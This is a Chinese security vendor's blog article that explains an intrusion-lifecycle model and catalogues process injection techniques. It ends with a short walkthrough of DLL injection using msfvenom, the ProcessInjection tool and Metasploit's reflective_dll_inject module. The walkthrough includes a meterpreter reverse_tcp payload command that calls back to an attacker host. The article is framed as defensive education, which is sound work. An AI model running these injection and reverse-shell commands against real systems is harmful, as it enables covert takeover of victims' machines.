提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      《入侵生命周期细分实践指南系列》:进程注入攻击
      发布时间:2022-04-02 阅读次数: 302 次

      美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型,作为美创新一代安全架构的三大支柱之一。


      入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。


      1) 探索发现

      在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。


      2)入侵和感染

      在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。


      3)探索感知

      攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。


      4)传播

      在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。


      5)持久化

      攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。


      6)攻击和利用

      攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。


      7)恢复

      攻击者在执行所有的攻击操作时,往往会在系统上留下大量的行为日志,因此在这一阶段,攻击者会对记录自身痕迹的所有日志进行处理,或删除或混淆,从而消灭证据,逃避追踪。



      本系列文章基于美创科技入侵生命周期1.0架构,细分各阶段攻击者的常用攻击手段,并对相关攻击手段的具体实施方式进行逐一剖析,为安全防御建设提供有力知识补充和反制准备。



      进程注入攻击

      传播


      进程注入是一种在某个单独的实时进程的地址空间中执行任意代码的方法。 在一个进程的上下文中运行特定代码,则有可能访问该进程的内存,系统或网络资源以及提升权限。

      从攻击者的角度来分析,利用进程注入技术,可以将恶意代码注入到合法进程之中,从而逃避基于信任进程的防御手段。

      根据攻击者的入侵流程和操作手段,利用进程注入进行攻击在入侵过程的攻击执行阶段,可以帮助攻击者在入侵成功后执行恶意操作,从入侵生命周期角度分析,进程注入攻击可作用于传播阶段、攻击和利用阶段、持久化阶段。在传播阶段,攻击者通过向合法进程中注入恶意程序,躲避检测进行横向攻击和传播。

      从攻击行为链条的上下文来看,针对进程注入攻击的行为链条输入输出如下:


      输入:注入的恶意代码、需要注入的进程

      输出:进程注入后所执行的恶意操作


      根据不同攻击思路,攻击者利用进程注入进行攻击的手法通常有11种:


      1. Portable ExecutableInjection--PE注入

      2. ThreadExecution Hijacking--线程执行流劫持

      3. AsynchronousProcedure Call--异步过程调用

      4. ThreadLocal Storage--线程本地存储

      5. PtraceSystem Calls--Ptrace系统调用

      6. ProcMemory--处理内存

      7. ExtraWindow Memory Injection--EWM式注入

      8. ProcessHollowing--进程替换

      9. ProcessDoppelgänging--新型代码注入技术

      10. VDSOHijacking--VDSO劫持

      11. Dynamic-linkLibrary Injection--动态链接库注入


      上述11种攻击手法中最常用的是动态链接库注入,也就是dll注入,dll注入中常用的技术有常规dll文件注入和反射式dll注入。


      1)使用ProcessInjection进行常规dll注入

      DLL注入是将代码注入到一个远程进程中,并让远程进程调用LoadLibrary()函数,从而强制远程进程加载一个DLL程序到进程中。

      使用msfvenom生成一个用于进程注入的恶意dll

      msfvenom -p windows/x64/messagebox text="Injection Success!" -fdll > shellcode.dll


      将生成的shellcode.dll复制到受害者机器上

      下载进程注入工具,并使用vs2019编译生成可执行文件

      https://github.com/3xpl01tc0d3r/ProcessInjection

      使用记事本打开任意一个文件,开启记事本程序的进程,并用tasklist命令查看notpad.exe的进程pid

      使用命令ProcessInjection.exe/pid:3308 /path:"C:Userswin7Desktopshellcode.dll" /t:2进行dll注入


      2)使用Metasploit进行反射式dll注入在实战中经常利用进程注入进行后门的持久化,比如当攻击者通过metasploit或者cs连接到主机后,会将会话注入到正常的进程中,在这个过程中dll不会在目标机器上落地,可以大大降低dll被发现的风险首先生成使用msf获得一个meterpreter会话msfvenom-p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=1234 -f exe >test.exe

      usepost/windows/manage/reflective_dll_inject

      注入成功

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部